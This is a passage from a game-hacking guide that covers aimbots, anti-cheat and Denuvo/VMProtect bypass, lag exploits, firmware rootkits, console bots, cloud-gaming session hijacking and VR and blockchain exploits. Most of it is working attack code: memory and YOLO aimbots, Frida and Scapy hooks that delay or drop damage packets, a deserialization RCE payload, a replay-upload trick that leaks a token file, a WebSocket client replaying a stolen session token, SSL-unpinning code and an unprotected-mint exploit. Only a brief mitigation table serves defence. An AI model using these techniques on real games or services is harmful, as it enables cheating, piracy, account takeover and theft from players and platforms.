xxdto inspect entropy and boundaries - Load into HexFiend, Ghidra, or write a custom parser
CS:GO Replay (.dem) Parsing
Tools: demoinfo2, CSGO-Demo-Parser, SourceDemoTool
Events include: svc_PacketEntities, svc_GameEvent, svc_TempEntities
Cheat use-case: Extract tick-perfect player behavior
Rocket League Replay Modding
- JSON + protobuf + Zlib
- Tools:
BakkesMod,ReplayParser, Python decoder - Modify:
PlayerInput(throttle, boost),PhysicsFrames(teleport, trajectory)
Exploitable Replay Logic (RCE and Logic Abuse)
Exploit Deserialization RCE
{
"player_name": "__import__('os').system('calc.exe')"
}
Affected engines: Python-based, Unity with insecure JSON
Exploit Replay Re-Execution Abuse
eventQueue = {
{ tick=32, action="GiveGold(9999999)" },
{ tick=48, action="CastSpell('killall')" }
}
Hijack scripting logic in Lua/Unreal mod games
Exploit Server Replay Import Vulnerability
zip --junk-paths sc2.dmp ../AppData/Local/Blizzard/token.txt
Upload replay in web UI → leaks internal token
AI Bot Training via Replay Data
for tick in replay['frames']:
model.learn(tick['player_pos'], tick['enemy_pos'], tick['aim_angle'])
Tools: PyTorch, YOLOv7, TensorRT, Keras-RL
Replay Corruption Use-Cases
| Use Case | Technique |
|---|---|
| Wallhack Showcase | Alter player coordinates mid-replay |
| Fake Tournament Footage | Modify match outcome |
| Anti-Cheat Fingerprinting | Trace events to identify bans |
| Match Outcome Reversal | Inject impossible scores or goals |
| Engine Crash PoC | Upload malformed replays |
Tools and Libraries
| Tool | Language | Target Game |
|---|---|---|
| demoinfo2 | C# | CS:GO |
| RLBotParser | Python | Rocket League |
| UEReplayReader | C++ | Fortnite/Unreal |
| MPQEditor | Windows | StarCraft II |
| BakkesMod | C++ | Rocket League |
| PySC2 | Python | SC2 AI training |
Replay Manipulation Example (Rocket League)
import zlib, json
with open("game.replay", "rb") as f:
raw = f.read()
data = zlib.decompress(raw[16:]) # Skip header
replay = json.loads(data)
for frame in replay["Frames"]:
for p in frame["PlayerData"]:
p["Boost"] = 1.0
new_data = json.dumps(replay).encode()
compressed = zlib.compress(new_data)
with open("modded.replay", "wb") as f:
f.write(raw[:16] + compressed)
Red Team Use-Cases
- Phishing (malicious replays)
- Telemetry tracking across demos
- Replay Trojan loading malicious paths
Defense and Mitigation
| Weakness | Defense |
|---|---|
| Replay Deserialization | Strict schema, no dynamic eval |
| Script Injection | Filter commands, sandbox replay engine |
| Replay Import Abuse | Path sanitization, auth ACLs |
| DoS Payloads | Limit frame count/size |
| Client Trust Replay | Validate against server logs |
Aimbots - Clipping and PvP Lag Exploits for PC and Console
This section delves into weaponized automation, physics manipulation, and lag-based game logic abuse in competitive multiplayer contexts. These techniques simulate adversarial behavior to enhance defensive strategies and understand vulnerabilities in game systems.
What This Covers
| Area | Technique Class | Description |
|---|---|---|
| Aimbots | Screen, Memory, AI | Automate targeting of enemies with precision. |
| Clipping | Memory, Physics Patching | Bypass collision to move through objects. |
| Lag Exploits | Network Interference | Manipulate latency to disrupt PvP interactions. |
Aimbot Typologies
| Type | Source | Detection Risk | Platform |
|---|---|---|---|
| Memory Aimbot | Entity memory | High (Anti-Cheat) | PC only |
| Pixel Aimbot | Screen/Color | Low-Medium | PC/Console |
| AI Aimbot | Neural Vision | Low | PC/Console |
| Input-Based Aim | Controller Feed | Very Low | Console+PC |
Memory-Based Aimbot (PC)
import math
RAD_TO_DEG = 180 / math.pi
def calculate_angle(my_pos, enemy_pos):
delta = enemy_pos - my_pos
yaw = math.atan2(delta.y, delta.x) * RAD_TO_DEG
pitch = math.atan2(-delta.z, math.sqrt(delta.x**2 + delta.y**2)) * RAD_TO_DEG
return pitch, yaw
void aim_at_target(DWORD base, Vector3 my_pos, Vector3 enemy_pos) {
float pitch, yaw;
calculate_angle(my_pos, enemy_pos, &pitch, &yaw);
writeFloat(base + view_angles_offset, yaw);
writeFloat(base + view_angles_offset + 4, pitch);
}
Pixel-Based Aimbot (PC and Console)
import pyautogui
import cv2
import numpy as np
def find_target():
screenshot = pyautogui.screenshot()
frame = np.array(screenshot)
mask = cv2.inRange(frame, (200,0,0), (255,50,50)) # Red enemy box
loc = np.where(mask > 0)
if loc[0].size > 0:
target = list(zip(*loc[::-1]))[0]
pyautogui.moveTo(target[0], target[1])
def smooth_aim(current, target, speed=0.1):
dx = (target[0] - current[0]) * speed
dy = (target[1] - current[1]) * speed
return current[0] + dx, current[1] + dy
AI Aimbot (Neural Targeting)
import torch
model = torch.hub.load('ultralytics/yolov5', 'yolov5s')
def aim_at_enemies(frame):
results = model(frame)
targets = results.pandas().xyxy[0]
if not targets.empty:
target = targets.iloc[0]
center_x = (target['xmin'] + target['xmax']) / 2
center_y = (target['ymin'] + target['ymax']) / 2
adjust_aim(center_x, center_y)
from filterpy.kalman import KalmanFilter
kf = KalmanFilter(dim_x=4, dim_z=2)
kf.predict()
kf.update([measured_x, measured_y])
Console Aimbot (External)
#include <Joystick.h>
void aim_and_shoot(int x_offset, int y_offset) {
Joystick.move(x_offset, y_offset);
Joystick.pressButton(FIRE_BUTTON);
delay(100);
Joystick.releaseButton(FIRE_BUTTON);
}
Clipping (Wall Phasing and Map Glitches)
void disable_collision(DWORD player_ptr) {
*(bool*)(player_ptr + collision_enabled_offset) = false;
}
bBlockingHit = false; // Ignore collisions
Server-Side Teleport Desync
iptables -A OUTPUT -p udp --dport 27015 -j TEE --gateway 127.0.0.1
tc qdisc add dev lo root netem delay 600ms
PvP Lag Exploits
Interceptor.attach(Module.findExportByName("ws2_32.dll", "sendto"), {
onEnter(args) {
let packet = args[1];
if (is_combat_packet(packet)) {
Thread.sleep(600);
}
}
});
tc qdisc add dev eth0 root tbf rate 100kbit latency 50ms burst 1540
from scapy.all import *
def drop_damage_packets(pkt):
if UDP in pkt and pkt[UDP].dport == 27015:
if is_damage_received(pkt.load):
return False
return True
sniff(filter="udp", prn=drop_damage_packets, store=0)
DWORD WINAPI fake_tick_count() {
return original_tick_count() - 2000;
}
Anti-Cheat Bypass Techniques
Evade detection with these next-level bypasses.
Core Techniques
-
Hook
NtQuerySystemInformation:if (SystemInformationClass == SystemProcessInformation) { // Modify buffer to hide process } -
Patch
IsDebuggerPresent(): Nullify checks with a byte edit. -
Disable ETW:
mov rdx, [EtwpProviderTable] xor rdx, rdx -
Driver-Level Injection: Use signed exploit drivers (e.g., Capcom.sys).
-
Unlink DLLs from PEB:
PLIST_ENTRY pList = (PLIST_ENTRY)pPeb->Ldr->InMemoryOrderModuleList.Flink; pList->Blink->Flink = pList->Flink; pList->Flink->Blink = pList->Blink; -
Obfuscate with VMProtect/Themida.
-
Patch
rdtsc:xor eax, eax ret -
Falsify telemetry, suspend AC threads, hijack overlays.
Kernel Warfare
- Driver Signing Bypass: Exploit leaked certs (e.g., CVE-2023-36033).
- Hypervisor Detection Evasion: Patch CPUID VMX flags.
- Memory Cloaking: Modify CR3 to create ghost memory regions.
- DMA: Use PCILeech with FT601 FPGA for invisible RAM edits.
- Behavioral Spoofing: AI-generated mouse movement (GAN-based).
Advanced Techniques
- Kernel Callbacks: Patch to avoid detection.
- Rootkits: Persistent cloaking and hiding memory pages.
- HWID Spoofing: Forged hardware identifiers to bypass bans.
Game Logic Abuse
Break game rules with clever manipulations.
Core Techniques
- NOP Timers: Remove reload/cooldown delays.
- Overwrite Pointers: Skip cooldown logic.
- Tamper Damage Formulas: Boost damage output.
- Disable Recoil/Sway: Patch physics variables.
- Currency Desync: Exploit offline logic for free cash.
- Teleport: Overwrite XYZ coordinates.
- Fake Events: Trigger
onWin()artificially. - Client Prediction Desync: Ghost enemies.
- Modify RNG Seeds: Force loot rolls.
- Duplicate Items: Abuse server sync bugs.
Advanced Manipulations
- Physics Manipulation: Hook
hkpWorld::stepDeltaTimeor PhysX calls. - Coordinate Warping: Script teleport logic via
ReadProcessMemory/WriteProcessMemory. - RNG Prediction: Reverse Mersenne Twister using outputs.
Engine-Specific Hacks
Target game engines with tailored exploits.
Core Techniques
- Unity: Patch
Assembly-CSharp.dll, hook Mono runtime. - Unreal: Inject .pak files, hook
UFunction::ProcessEvent. - GameMaker: Modify
.yy/.yypand inject viaYYDebug. - WebGL/WASM: Use
wasm-decompile, optimize withwasm-opt. - Lua/Mono: Inject scripts, hook
Assembly.Load.
Engine-Specific Exploits
-
Unreal Engine 5:
- Dump
GObjects/GNamesusing pattern scan:48 8B 05 ?? ?? ?? ?? 48 8B 0C C8 - Inject
UGameplayStatics::ExecuteConsoleCommand
- Dump
-
Unity:
- Dump IL2CPP with
Il2CppDumper+Ghidra - Hijack Mono JIT via
mono_jit_compile_method
- Dump IL2CPP with
-
Advanced:
- Shader Replacement for wallhacks
- Physics Hooks via engine allocators
APT-Level Techniques
Employ bleeding-edge hacks at the APT level.
Core Techniques
- Ring0 Driver Injection
- EPT Memory Redirection (VT-x)
- Patch PTE Bits to hide pages
- Hypervisor Execution: Custom VM cheat layer
- PCILeech DMA
- UEFI/EFI Bootkits for firmware persistence
- GPU-Offloaded Cheats: Use CUDA shaders
- Patch Syscall Stubs
- NTFS ADS: Alternate data stream payloads
Firmware and Hardware
- UEFI Rootkits: Flash modded firmware via CH341A
- GPU Malware: CUDA shellcode via
cuMemAlloc + cuLaunchKernel - Intel ME: Use Red Unlock for code injection
Advanced Techniques
- DMA via Intel 82599 NIC
- SGX/SEV Enclaves for protected cheat logic
- Steganography: Embed payloads in textures/assets
Automation and Fuzzing
Automate and break games with these tools.
Core Techniques
- Automate with
pyMeow/pymem: Script memory edits in Python. - Fuzz
.sav,.pak,.json,.lua: Use AFL++ / Honggfuzz to crash parsers. - Simulate Movement: Send fake input via
SendInputor Python libraries. - Trace with Frida: Log function calls with custom callbacks.
- Automate UIs with Selenium: Script web-based interfaces.
- UDP Packet Fuzzers: Send custom payloads to game servers.
- Hook Scripting Engines: Monitor Lua / Python calls.
- Auto-Aim with YOLOv5 + OpenCV: Real-time targeting.
AI-Powered Bots
-
YOLOv7 + DeepSORT: Real-time aimbot tracking.
model = torch.hub.load('WongKinYiu/yolov7', 'custom', 'yolov7.pt') results = model(frame) targets = results.pandas().xyxy[0] # Extract enemy bounding boxes -
Reinforcement Learning: Train agents with Unity ML-Agents or OpenAI Gym.
Advanced Fuzzing
- Coverage-Guided Fuzzers: AFL++ with QEMU mode for binary-only games.
- Custom Mutators: Build fuzzers for Protobuf or proprietary structures.
DRM and Obfuscation Bypass
Crack protections with these advanced techniques.
Core Techniques
- Bypass Denuvo: Dump memory mid-run with x64dbg.
- Locate OEP: Trace back to original entry point.
- Rebuild PEs: Use Scylla / PE-bear to fix dumped binaries.
- Patch Decryption Loops: Remove XOR routines from loaders.
- Disable CRC Checks: Patch integrity verification.
- Locate License Checks: Cross-reference key strings in IDA.
- Inject at Handoff: Hook stub-decryption transitions.
- Devirtualize: Unpack VMProtect / Themida.
- Hook
NtOpenFile: Intercept license queries via Frida.
Denuvo Cracking
- Memory Dumping: Use ScyllaHide to evade debugger checks and dump decrypted
.textsections. - Emulation: Reconstruct VM handlers using Qiling Framework.
Advanced Techniques
- VMProtect 3.x Unpacking: Decode x86 opcodes with Triton.
- ASLR Bypasses: Patch static memory for reliable exploitation.
Shellcode Engineering
Craft stealthy payloads with these methods.
Core Techniques
- ESP Overlays: Execute via render function hooks.
- Polymorphic XOR: Compress/obfuscate shellcode payloads.
- Overflow Triggers: Inject via savegame or file parsers.
- Config-File Loading: Store payloads externally.
- OCR-Based ESP: Use screen capture + OpenCV, no injection.
- Heap Spray: Execute through Lua / JS scripting engines.
- Alphanumeric Payloads: For character-restricted exploits.
- TLS Callbacks: Run before
main()in PE headers. - Custom Syscalls: Avoid usermode detection.
Advanced Engineering
- SELF: Staged ELF Loader with LZMA compression and
mprotectstub. - Thread Hijacking:
NtSuspendThread(hThread); WriteProcessMemory(...); // overwrite RIP - ROP Bootstrapping: Launch shellcode via gadgets.
DRM Loader Staging
Modern DRM systems deploy multi-stage loaders, packing and obfuscating payloads using VM-based encryption, anti-debugging logic, and staged virtual machine handlers. Breaking through these layers is essential for:
- Restoring clean .text sections
- Analyzing game logic behind anti-tamper wrappers
- Reconstructing protected functions for cheat injection
- Defeating signature checks and telemetry sinks
Key Concepts
| Concept | Description |
|---|---|
| Loader staging | Multiple layers of unpacking: stub → loader → VM |
| Virtualization | Code translated into custom bytecode and interpreted |
| Mutation engines | Obfuscate instructions and flow via polymorphism |
| Anti-dump | Prevent dumping memory with CRCs, active page clearing |
| Loader chain detection | Uncover multi-executable chains embedded in final binary |
Reverse Engineering Process (Staged DRMs)
1. Detect the Staging Behavior
- High entropy in .text, .vmp0, or .code → indicates encryption
- Stub code at OEP (original entry point) →
jmp short _loadnext - Long sleep / timing checks → anti-debug
Use:
binwalk --entropy binary.exe
Tools: PEiD / Detect It Easy
2. Locate the Real Entry Point
Staged loaders often call:
CALL DecryptAndExecute
JMP EAX
Trace VirtualAlloc → memcpy → CreateThread or jmp rax
Watch for:
- NtProtectVirtualMemory with RWX permissions
- memcpy into a shell region
- Encrypted VM blob → then mapped and run
3. Trace Loader Flow with x64dbg
Place breakpoints:
bp kernel32!VirtualAlloc
bp kernel32!CreateThread
Then dump memory once second-stage loader appears.
4. VMProtect Loader Internals
| Stage | Purpose |
|---|---|
| Stage 0 | PE stub (launches decryptor) |
| Stage 1 | Loader stub (decrypts VM blob) |
| Stage 2 | Encrypted VM bytecode in .vmp0 |
| Stage 3 | Custom VM interprets protected funcs |
Signs of VMProtect:
- .vmp0, .vmp1, .vmp2 sections
MOV EAX, VM_OPCODE_TABLE- High-entropy embedded dispatch loop
Tools: VMPDump, x64dbg + Scylla + VMProtectTrace
5. VM Handler Identification
Dispatch logic:
movzx eax, byte ptr [ecx] ; opcode fetch
call [OpcodeHandler + eax*4] ; handler dispatch
Use Unicorn engine:
mu.mem_write(vm_addr, vm_code)
mu.emu_start(vm_addr, vm_addr + len(vm_code))
Nested Loader Unpacking
- Multiple compressed regions (LZ4, LZO, LZSS)
- XOR-encrypted memory blocks
- Anti-VM or anti-dump logic
Use: Scylla, PE-sieve, Cheat Engine
Anti-Debug/Anti-Dump Bypasses
| Defense Mechanism | Bypass Technique |
|---|---|
| Hardware breakpoint check | Patch IsDebuggerPresent, NtQueryInfoProcess |
| CRC32 page check | Patch CRC logic with RET or NOPs |
| Page clearing on dump | Dump post-RWX and force page copy |
| VEH-based obfuscation | Remove AddVectoredHandler entries |
Tools: ScyllaHide, TitanHide, PE-sieve
Manual Dump and Rebuild
import frida
def on_message(msg, data):
if msg["type"] == "send":
print("[*]", msg["payload"])
session = frida.attach("target.exe")
script = session.create_script("""
Interceptor.attach(Module.getExportByName(null, "VirtualAlloc"), {
onLeave: function (retval) {
send("Alloc at: " + retval);
}
});
""")
script.on('message', on_message)
script.load()
Denuvo Specific Staging
- .text0 → Loader stub
- .text1 → Encrypted ELF or PE blob
- .bind, .elfhash, .denuvo sections
Reverse:
- Hook
NtQueryVirtualMemory,NtReadVirtualMemory - Look for RDTSC anti-debug timings
- Use Cheat Engine Snapshot Compare
Common Loader Signatures
| Loader Stage | Signature / API | Description |
|---|---|---|
| Stub loader | jmp [rax], entropy | Entry obfuscator |
| Memory decryptor | RtlDecompressBuffer, VirtualProtect | Payload unpacker |
| VM dispatcher | mov al, [ecx], call [eax*4] | Custom VM handler switch |
| Anti-debug | RDTSC, CPUID, int 3 | Timing + breakpoint checks |
DRM Loader Fuzzing / Mutation
Use LIEF to:
- Modify PE headers, section alignments
- Patch entry point or stub region
Combine with AFL++ to fuzz staged binaries.
DRM Tooling Ecosystem
| Tool | Purpose |
|---|---|
| x64dbg + Scylla | Manual unpack, IAT fix |
| PE-sieve | Detect memory-mapped unpacked modules |
| VMProtectDump | Dump runtime-decrypted VM code |
| TitanHide | Hide debugger from anti-debug checks |
| IDA Pro + HexRays | Advanced disasm and pseudocode |
| LIEF | Programmatic PE patching |
AI/ML Augmentations
Leverage AI for next-gen cheat capabilities.
Core Techniques
- YOLOv5 / Faster-RCNN: Train pixel-perfect aimbots.
- OpenCV Color Analysis: Track HP bars, enemies, alerts.
- RL Bots: Intelligent evasion via OpenAI Gym.
- LSTM: Predict patrol paths or enemy movements.
- Neural ESP: Use segmentation models for wallhacks.
- Anti-Cheat Popup Detection: OCR + reaction system.
- Decision Trees: Prioritize high-value loot.
- Movement Analysis: Detect bot players.
Generative Cheats
- StyleGAN3: Generate neural textures for ESP.
- LSTM: Predict movements from input logs.
Advanced Techniques
- GAN Fine-Tuning: Spoof UI or texture assets.
- Edge AI: Deploy to microcontrollers for field-ready inference.
Hardware Hacks
Exploit physical devices for undetectable cheats.
Core Techniques
- Arduino HID Spoofers: Simulate human-like input.
- PCILeech DMA: Inject RAM via hardware.
- USB-to-UART: Access devkit consoles.
- Logic Analyzers: Monitor AC behavior.
- Raspberry Pi Deauth: Disrupt online sync via WiFi attacks.
- Teensy Input Simulators: Randomized macros.
- HDMI Capture Aimbots: External targeting.
- QMK Keyboard Logic: Reflash firmware with custom logic.
- BIOS Patching: UEFI driver loading pre-boot.
Firmware Analysis
This section focuses on hacking, reverse engineering, and modifying console and PC firmware — the bedrock of trust for most anti-cheat and platform security systems.
From BIOS/UEFI to hypervisors and bootloaders, firmware manipulation allows for:
- Undetectable cheats via early boot injection
- Bypassing secure boot, signature validation, and TPM/TrustZone
- Full control over memory, virtualization, and root-level telemetry
UEFI Dump - Patch - and Injection
Modern PCs boot via UEFI (Unified Extensible Firmware Interface), replacing legacy BIOS. UEFI is programmable and includes DXE modules that enforce secure boot and TPM communication.
Tools
| Purpose | Tool |
|---|---|
| Firmware extraction | UEFITool, Chipsec, Flashrom |
| Modding UEFI vars | RU.EFI, AMIBCP, H2OUVE |
| Secure boot bypass | UEFI Shell, EDK2 hacking |
| Flash dumping | CH341A SPI Programmer |
Dump UEFI from Flash
flashrom -p ch341a_spi -r dump.bin
Or from inside Linux:
sudo chipsec_util spi dump BIOS.bin
Explore DXE Modules
UEFIExtract dump.bin
UEFIDump dump.bin
Look for: SecureBoot, SetupUtility, TPM, SmmAccess2, AmiBoardInfo, RuntimeServices, SmmRuntime
Patch Boot Flow
- Add unsigned DXE modules
- Hook BootServices->StartImage
- Inject payload that writes to RAM after ExitBootServices()
Inject DXE Module Payload
- Modify UEFI .ffs file
- Insert using UEFITool
- Flash patched ROM
Payload triggers at early boot phase (pre-OS)
Console Boot ROM Reversing (Nintendo Switch, PS5, Xbox)
Nintendo Switch
- Boot ROM: Boot0, Boot1, pkg1, pkg2
- Vulnerabilities: Fusée Gelée, Warmboot Handoff
Tools: hekate, Lockpick_RCM, Atmosphere, TegraExplorer, HacTool
PS5
- Boot chain: BootROM, Second Loader, Secure Kernel
- Protections: TrustZone, LV0/LV1 encryption, OTP
Tools: ps5-kstuff, IDA, Ghidra, Unicorn, UART taps
Xbox Series (Scarlett)
- Hyper-V root partition
- Secure Boot + Dev Mode
Tools: QEMU, HVMSR intercepts
LV0 / LV1 Hypervisor Reversing (Sony Consoles)
- LV0: Boot loader binary
- LV1: Hypervisor kernel
- LV2: GameOS
Target: Patch syscall registration
Tools: Mamba, ps3xploit, Hypervisor Call Trace
Firmware Attack Matrix
| Layer | Target | Attack Vector |
|---|---|---|
| UEFI | DXE modules | Patch boot services |
| Nintendo | pkg1, loader.kip1 | ROP injection |
| PS5 | BootROM | EL3 key handler |
| Xbox | hvlaunch.xex | Hypercall patching |
| PS3 | LV0 / LV1 | Homebrew syscall patching |
Research-Level Firmware Tooling
| Tool | Use Case |
|---|---|
| UEFITool | Extract/patch DXE modules |
| Chipsec | Analyze SPI/SMM |
| Flashrom | Dump ROM via SPI |
| IDA, Ghidra | Boot ROM reverse engineering |
| Unicorn | ARM64 emulation |
| Qiling | Firmware sandboxing |
Defeating Firmware Protections
| Protection | Bypass Strategy |
|---|---|
| Secure Boot | Patch SetupUtility |
| OTP Key Fuse | Emulated OTP |
| TrustZone | EL3 handler patch |
| Dev Mode | UEFI var patch |
Firmware-Based Cheat Staging
- Memory patchers before anti-cheat
- CR3 spoofers
- Kernel-mode syscall filters
Console Exploits
- PlayStation 5: WebKit ROP exploit (e.g., CVE-2021-30858).
- Nintendo Switch: Coldboot exploit Fusée Gelée via USB-C.
Advanced Hardware Techniques
- Raspberry Pi Pico: Emulate Xbox controller with GPIO triggers.
- FPGA Packet Injection: Xilinx Artix-7 for spoofing.
- JTAG: Soldered access to CPU internals.
External Console Botting over Remote Play
Use streaming tools like PS Remote Play, Xbox App, or Chiaki to automate console gameplay from a PC:
- Capture gameplay with OpenCV or YOLOv7
- Detect resources, enemies, UI elements
- Inject input via HID emulators (Arduino Leonardo, Teensy)
- Automate loops: mining, fishing, looting
- Emulate human-like behavior via randomization and delays
This setup works fully externally, ideal for undetectable console farming bots.
Architecture Diagram
┌───────────────┐ ┌────────────────────┐ ┌───────────────┐
│ PlayStation 5 │──────▶│ PS Remote Play App │─────▶│ Screen Capt. │
└───────────────┘ └────────────────────┘ │ + CV Detector │
└────┬──────────┘
│
┌──────▼───────┐
│ HID Emulator │ (Arduino/Teensy)
└──────────────┘
How to Build It (PC/Phone → Console Bot)
1. Remote Stream Platform
Use:
- PlayStation Remote Play (PS4/PS5)
- Xbox Console Companion / Remote Play
- Moonlight + Sunshine (NVIDIA Gamestream-based)
- Chiaki (open-source, reverse-engineered PS Remote Play)
Best Option for Automation: Chiaki + OBS + Teensy
2. Screen Capture and Detection
Use OpenCV or YOLOv5/YOLOv7 to identify:
- Health bars
- Enemies
- Resource nodes
- Map location
Example: Mining Bot Detection
import cv2
import numpy as np
node_template = cv2.imread("ore_node.png", 0)
frame = cv2.imread("screen.png", 0)
res = cv2.matchTemplate(frame, node_template, cv2.TM_CCOEFF_NORMED)
loc = np.where(res >= 0.92)
for pt in zip(*loc[::-1]):
print("Node at:", pt)
move_cursor_to(pt)
send_button_press("X")
3. Input via Arduino or Teensy
Use Arduino Leonardo, Teensy 4.0, or Raspberry Pi Pico (RP2040):
- Emulate Xbox or PS5 controller
- Send joystick moves, button presses
- Fake human input with jitter/randomization
Example: Arduino Joystick Movement Script
#include <Joystick.h>
Joystick_ Joystick;
void setup() {
Joystick.begin();
}
void loop() {
Joystick.setYAxis(100); // Move forward
delay(500);
Joystick.setYAxis(0); // Stop
delay(1000);
}
4. Touch Automation on Phone (optional)
If using PS Remote Play on Android:
- Use AutoInput + Tasker
- Use ADB + scrcpy + Python
Example: Tap Resource with ADB
adb shell input tap 540 1320
Bot Use Case: ESO Mining/Farming Loop (Console)
- Record a resource route (streaming to PC)
- Detect resource spawn points with template matching or YOLO
- Move character with joystick HID script
- Pause until node appears
- Interact when node is detected (
Xbutton press via Teensy) - Repeat loop with randomized sleep and camera wiggle
This works 100% externally. No modding, no memory hooks.
Example ConsoleBot_RemotePlay.py
# Automates node detection + input for Remote Play ESO bot
from PIL import ImageGrab
import cv2, numpy as np
import serial, time
ser = serial.Serial('COM3', 9600) # Teensy/Arduino COM port
def find_node(template):
frame = np.array(ImageGrab.grab())
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
tmpl = cv2.imread(template, 0)
result = cv2.matchTemplate(gray, tmpl, cv2.TM_CCOEFF_NORMED)
loc = np.where(result >= 0.95)
return list(zip(*loc[::-1]))
def send_input():
ser.write(b'X\n') # Arduino interprets and presses X button
time.sleep(1)
while True:
hits = find_node("ore_template.png")
if hits:
print("[+] Resource found:", hits[0])
send_input()
time.sleep(2)
Cloud Gaming Exploits
Cloud gaming platforms (e.g., GeForce NOW, Xbox Cloud, Amazon Luna, Stadia) shift game execution to the cloud, introducing network-based attack surfaces previously unavailable in traditional game hacking. In this section, we focus on exploiting latency, session logic, and cloud APIs for unauthorized access and disruption.
Threat Modeling: Cloud Gaming
| Target Area | Attack Vector | Goals |
|---|---|---|
| Network ↔ Stream | Latency injection, packet reordering | Desync, timing abuse |
| Session Token / Auth | Hijack or reuse active session | Take over session or identity |
| API Gateway / Infra | Reverse-engineer APIs | Abuse resources, extract games |
| UI Overlays | JavaScript / WebRTC manipulation | XSS, UI injection, fake input |
Latency Manipulation Attacks for All Levels
Cloud gaming relies on low-latency video streaming and responsive inputs. Injecting controlled network jitter, delay, or packet reordering can desynchronize gameplay or force input failures.
Tools Needed
tc(Linux traffic control)netem(network emulator)clumsy(Windows packet drop/lag tool)- Wireshark or tcpdump for packet inspection
- VPNs with adjustable RTT (e.g., Mullvad + Socks5 proxy)
Example 1: Induced Lag to Exploit Hit Registration
Linux (NetEm + tc):
sudo tc qdisc add dev eth0 root netem delay 300ms 50ms distribution normal
Windows (Clumsy):
clumsy.exe --lag 250 --drop 3%
Use Cases
| Target Game | Exploit Effect |
|---|---|
| Fortnite (xCloud) | Desync builds and shots |
| Apex (GeForce) | Lag-switch to eat bullets |
| ESO / MMOs | Skip animation cancels / avoid interrupts |
Adaptive Lagbots (Advanced)
Scripted lag control based on game state:
# lagbot.py
import os, time
while True:
os.system("tc qdisc change dev eth0 root netem delay 300ms 100ms")
time.sleep(3)
os.system("tc qdisc change dev eth0 root netem delay 0ms")
time.sleep(2)
Session Hijacking Techniques
Cloud gaming platforms maintain browser-based or WebSocket-based session tokens for game stream authentication.
Attack Surface
| Method | Attack | Notes |
|---|---|---|
| Cookie/session steal | Replay token | Use mitmproxy or JS hook |
| WebSocket hijack | Inject into live control | Requires token & WS URL |
| API endpoint abuse | Replay startSession() call | Seen in Stadia / Luna |
Example: WebSocket Hijack in Browser
Extract WebSocket Token:
wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ
Craft Python Client:
import websocket
ws = websocket.create_connection("wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ")
ws.send('{"action":"move","direction":"left"}')
Unauthorized Access to Game Sessions
Replay startSession API Call:
POST /api/v1/startSession
Authorization: Bearer <token>
Target Examples
- Stadia DevKit leaks via
launchTitle() - GeForce NOW API token replay
- Moonlight/Sunshine weak token auth
Cloud API Reverse Engineering
Tools
- mitmproxy
- Burp Suite
- chrome://net-export
- DevTools → Network tab
Frida TLS Unpinning (Android Cloud Client)
Java.perform(function() {
var SSLContext = Java.use("javax.net.ssl.SSLContext");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(k, t, r) {
console.log("[*] Bypassing SSL Pinning");
this.init.call(this, k, [MyTrustManager.$new()], r);
};
});
Interesting Endpoints to Target
| Platform | Endpoint | Potential Abuse |
|---|---|---|
| Stadia | /startSession, /loadTitle | Replay past sessions |
| GeForce NOW | /streams, /auth/v2 | Spoof device or obtain stream |
| Xbox Cloud | /xgpu/allocateSession | DoS resource exhaustion |
Bypassing Detection and Limits
| Technique | Description | Mitigation |
|---|---|---|
| VPN rotation | Evade geo locks, rate limits | SOCKS5 + IPv6 |
| Modify browser headers | Impersonate session/client | Override User-Agent, device ID |
| Replay old sessions | Use expired but cached tokens | Exploit poor session invalidation |
| Scripted idle mouse | Prevent timeout | JS or browser automation |
CTF / Red Team Use Cases
- Spoof GeForce NOW session to capture streamed flags
- Denial of Service on PvP cloud opponents via lag
- Enumerate enterprise cloud gaming APIs
- Phish or hijack stream tokens and inject overlays
VR/AR Game Hacking
Virtual and Augmented Reality (VR/AR) introduce new attack vectors—spatial spoofing, sensor manipulation, and gesture abuse—distinct from traditional game hacking.
Target Platforms
| SDK / Platform | Description | Attack Surface |
|---|---|---|
| OpenVR / SteamVR | Valve’s open VR runtime | Pose injection, device spoofing |
| Oculus SDK | Meta’s VR ecosystem | Gesture hacks, pose spoofing |
| Unity XR | Unity’s VR abstraction | Memory manipulation |
| ARKit / ARCore | iOS/Android AR frameworks | Sensor spoofing |
Spatial Spoofing Techniques
Manipulate 6DoF (degrees of freedom) tracking to teleport, walk through walls, or gain speed boosts.
Unity (IL2CPP) Position Injection
// PlayerTransform.cs (decompiled)
void Update() {
transform.position = new Vector3(x, y, z); // Injected coords
}
Inject with Frida:
var transform = Mono.use("UnityEngine.Transform");
transform.position.value = {x:999, y:5, z:-20};
OpenVR Pose Spoof (Linux/Win)
vr::TrackedDevicePose_t spoofedPose;
spoofedPose.mDeviceToAbsoluteTracking = ...; // Injected matrix
VRCompositor()->SubmitPose(...);
Gesture / Input Spoofing
Modify gesture recognition logic for:
- Auto-swing in Beat Saber
- Infinite grab reach in Half-Life: Alyx
- Aimbot-style teleporting in Onward VR
Frida - Modify Controller Position
Interceptor.attach(Module.findExportByName("OculusVR.dll", "GetControllerPose"), {
onLeave(retval) {
retval.x = 999;
retval.y = 999;
retval.z = 999;
}
});
Sensor Spoofing in AR (ARKit/ARCore)
Send fake GPS, compass, or accelerometer data to mobile AR games like Pokémon GO.
Android (Frida + SensorManager):
Java.perform(function() {
var Sensor = Java.use("android.hardware.SensorManager");
Sensor.getOrientation.implementation = function(...) {
return [999, 999, 999];
};
});
Red Team / CTF Use Cases
| Tactic | Result |
|---|---|
| Spoof OpenVR pose | Appear in unreachable game area |
| Gesture override | Instant win input |
| AR location spoof | Gain location-limited loot/events |
| Hook Unity XRManager | Force map load / room bypass |
Blockchain and NFT Game Exploits
Blockchain-integrated games introduce new attack surfaces—smart contracts, token logic, and crypto wallets.
Target Surfaces
| Layer | Attack Type |
|---|---|
| Smart Contracts | Logic flaws, state overwrite |
| Off-chain Logic | Desync between client/server |
| Wallet Integration | Spoof signatures or misroute funds |
| Game Economy | Price oracle abuse, arbitrage |
Smart Contract Exploits
Example: Unprotected Mint Call in Solidity
function mintWeapon() public {
weaponBalance[msg.sender] += 1;
}
Exploit via Web3.py:
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
contract = w3.eth.contract(address='0x...', abi=abi)
contract.functions.mintWeapon().transact({'from': attacker})
NFT Duplication
Replay Attack Exploit:
POST /api/v1/claimDrop
